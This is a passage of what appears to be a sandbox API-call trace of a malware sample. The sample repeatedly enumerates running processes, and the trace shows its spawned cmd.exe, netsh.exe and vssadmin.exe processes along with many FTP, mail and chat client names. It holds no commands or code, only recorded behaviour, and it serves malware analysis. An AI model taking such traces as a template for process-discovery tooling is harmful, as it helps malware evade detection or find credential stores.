szExeFile="utg2.exe")) returned 1 [0070.533] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobile optimum looked.exe")) returned 1 [0070.534] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.740] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0070.741] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.742] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0070.742] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0070.743] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0070.743] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0070.744] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0070.745] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0070.745] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0070.746] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0070.746] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x7d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0070.747] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0070.747] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0070.748] Process32NextW (in: hSnapshot=0x1c4, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0070.749] CloseHandle (hObject=0x1c4) returned 1 [0070.749] Sleep (dwMilliseconds=0x1f4) [0071.409] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x150 [0071.413] Process32FirstW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0071.414] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0071.414] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0071.415] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0071.416] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0071.416] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0071.416] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0071.417] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0071.417] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0071.418] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0071.418] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.419] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.419] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.420] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.420] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.421] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0071.421] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.422] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.422] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0071.423] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0071.423] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0071.424] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.424] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0071.425] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0071.425] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expensesknowpolicies.exe")) returned 1 [0071.426] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="york-singing.exe")) returned 1 [0071.426] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno charges.exe")) returned 1 [0071.427] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impression.exe")) returned 1 [0071.427] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="greensboro-revealed.exe")) returned 1 [0071.428] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="range-hayes-pot.exe")) returned 1 [0071.428] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pilot-liverpool-black.exe")) returned 1 [0071.429] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gammafin.exe")) returned 1 [0071.429] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pope.exe")) returned 1 [0071.430] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operates.exe")) returned 1 [0071.430] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="dynamics.exe")) returned 1 [0071.431] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="congratulations.exe")) returned 1 [0071.431] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="employer.exe")) returned 1 [0071.432] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="paypal_drunk.exe")) returned 1 [0071.432] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="italian french participants.exe")) returned 1 [0071.433] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bruceanalytical.exe")) returned 1 [0071.433] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="firefoxguess.exe")) returned 1 [0071.434] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="legally notified.exe")) returned 1 [0071.434] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="qualities.exe")) returned 1 [0071.435] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0071.435] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0071.436] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0071.436] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0071.436] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0071.437] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0071.438] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0071.438] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0071.438] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0071.439] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0071.440] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0071.440] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0071.440] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0071.441] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0071.441] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0071.549] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0071.550] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0071.551] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0071.552] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0071.553] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0071.554] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0071.555] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0071.556] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0071.557] Process32NextW (in: hSnapshot=0x150, lppe=0x10ff79c | out: lppe=0x10ff79c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 